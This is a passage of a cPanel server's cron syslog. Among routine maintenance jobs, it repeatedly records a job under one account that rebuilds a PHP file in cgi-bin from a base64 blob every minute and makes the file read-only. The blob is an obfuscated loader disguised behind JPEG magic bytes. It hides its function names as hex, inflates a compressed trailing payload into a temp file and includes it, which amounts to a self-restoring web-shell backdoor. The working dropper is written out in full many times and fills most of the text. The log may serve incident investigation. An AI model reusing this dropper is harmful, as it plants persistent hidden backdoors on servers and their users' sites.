--decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:41:01 server CROND[9113]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:41:01 server CROND[9115]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 02:42:01 server CROND[9479]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:42:01 server CROND[9480]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:42:01 server CROND[9481]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 02:42:01 server CROND[9482]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 02:43:01 server CROND[9968]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:43:01 server CROND[9969]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:43:01 server CROND[9971]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 02:44:01 server CROND[10421]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:44:01 server CROND[10420]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 02:44:01 server CROND[10422]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:45:01 server CROND[10801]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:45:01 server CROND[10803]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 02:45:01 server CROND[10804]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 02:45:01 server CROND[10806]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 02:45:01 server CROND[10802]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 02:45:01 server CROND[10809]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 02:45:01 server CROND[10805]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:46:01 server CROND[11629]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:46:01 server CROND[11630]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 02:46:01 server CROND[11631]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:47:01 server CROND[12000]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:47:01 server CROND[12001]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 02:47:01 server CROND[12003]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:47:01 server CROND[12004]: (root) CMD ((/usr/local/cpanel/scripts/fix-cpanel-perl; /usr/local/cpanel/scripts/upcp --cron > /dev/null 2>&1 > /dev/null))
Sep  8 02:47:01 server CROND[12002]: (root) CMD (  bash -c 'sleep $((RANDOM % 1800))'; /usr/libexec/report-command-error /opt/imunify360/venv/share/imunify360/scripts/imunify-check-pkg-integrity >/dev/null 2>&1)
Sep  8 02:47:16 server crontab[12254]: (root) LIST (root)
Sep  8 02:47:16 server crontab[12256]: (root) LIST (root)
Sep  8 02:47:20 server crontab[12404]: (root) LIST (root)
Sep  8 02:48:01 server crond[1999]: (*system*) RELOAD (/etc/cron.d/cpanel_ssl_reissue)
Sep  8 02:48:01 server crond[1999]: (bespokeapps) ORPHAN (no passwd entry)
Sep  8 02:48:01 server crond[1999]: (massivedesign) WRONG FILE OWNER (/var/spool/cron/massivedesign)
Sep  8 02:48:01 server CROND[13298]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:48:01 server CROND[13299]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:48:01 server CROND[13297]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 02:49:01 server CROND[13844]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:49:01 server CROND[13843]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 02:49:01 server CROND[13845]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:50:01 server CROND[14250]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 02:50:01 server CROND[14251]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 02:50:01 server CROND[14254]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 02:50:01 server CROND[14256]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 02:50:01 server CROND[14257]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 02:50:01 server CROND[14260]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 02:50:01 server CROND[14263]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:50:01 server CROND[14262]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 02:50:01 server CROND[14259]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:51:01 server CROND[15102]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:51:01 server CROND[15103]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 02:51:01 server CROND[15104]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:52:01 server CROND[15467]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:52:01 server CROND[15470]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:52:01 server CROND[15469]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 02:53:01 server CROND[15959]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:53:01 server CROND[15961]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBp